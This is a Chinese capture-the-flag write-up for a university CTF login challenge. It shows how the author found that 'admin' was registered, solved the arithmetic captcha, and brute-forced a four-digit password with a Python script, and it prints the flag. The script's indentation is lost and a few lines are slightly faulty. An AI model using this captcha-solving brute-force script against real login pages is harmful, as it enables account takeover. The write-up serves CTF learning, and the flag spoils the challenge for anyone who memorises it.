题目链接：
http://ctf.hit.edu.cn:3005/
分析：
1.打开题目提供页面
Paste_Image.png
2.发现需要用户名和密码以及验证码,并且给了一个注册的链接
3.查看原代码,并没有发现异常
Paste_Image.png
4.尝试随便输入用户名和密码,计算并输入验证码,点击登录
Paste_Image.png
Paste_Image.png
5.发现不能登陆,而且验证码会每次都会改变
6.想到注册一个用户来进行登陆
7.随便输入
i.账号:aaa
ii.密码:aaa
8.提示为:”密码太长太难我们怕你记不住，只需4位数字”,如下图:
Paste_Image.png
9.密码只能是4位数...这是不是给了我们暴力破解的余地呢?
10.上次讲座中,张琦学长讲到可以利用注册来获取已经注册的用户名
11.尝试使用默认密码”admin”进行注册,发现提示为:”不要重复注册！！！！”如下图:
Paste_Image.png
12.思路有了,现在只需要获取并计算验证码,然后对http://ctf.hit.edu.cn:3005发送post请求,其中用户名为”admin”密码使用从0000-9999这一万种组合即可
13.通过浏览器的”检查”功能获得请求数据数据格式,如下图:
Paste_Image.png
14.现在问题在于如何获得验证码
15.在登陆页面中,多次刷新页面,以用于找出验证码的规律,发现验证码为一个算式,并且大部分情况下两个运算符都是二位数,而且运算符多为’+’和’*’
16.想到使用python脚本进行暴力破解
17.直接贴上python脚本
import requests
import urllib
import urllib2
import string
url = "http://ctf.hit.edu.cn:3005"
fileHandle=open ('result.txt','a')
#遍历所有密码
for i in range(0,9999):
req = requests.session()
file = req.get(url)
html = file.content
ss = html[805:810]
ss = ss.strip()
#判断运算为加法
if "+" in ss:
s1 = ss.split("+")[0]
s2 = ss.split("+")[1]
n1 = string.atoi(s1,10)
n2 = string.atoi(s2,10)
result = n1 + n2
#判断运算为乘法
if "*" in ss:
s1 = ss.split("*")[0]
s2 = ss.split("*")[1]
n1 = string.atoi(s1,10)
n2 = string.atoi(s2,10)
result = n1 * n2
password = "%d" %i
#小于四位数,前面补0
if i < 1000 and i > 99 :
password = "0" + password
if i < 100 and i > 9 :
password = "00" + password
if i < 10 :
password = "000" + password
#数据对象
data = {}
data['username'] = "admin"
data['password'] = password
data['captcha'] = result
data['PHPSESSID'] = "c24pd2aei5854r3b9n7qb4lpu5"
#发送post请求
file2 = req.post(url,data)
#输出日志
print i
print " --- "
print "The password is = " + password + ", The result is " + file2.content[-45:]
#写日志文件
fileHandle.write("The password is = " + password)
fileHandle.write(", The result is " + file2.content[-45:])
fileHandle.close
18.运行,直接从本地保存的文件(获取的结果html页面的内容)中,然后进行对其进行字符串查询得到flag.
Paste_Image.png
Paste_Image.png
答案：
hitctf{I_Wi1l_iMpr0_M4_pw}
知识点：
1.HTML基本语法
2.POST请求
3.利用浏览器进行抓包
4.Python基本语法
5.Python模拟Post请求
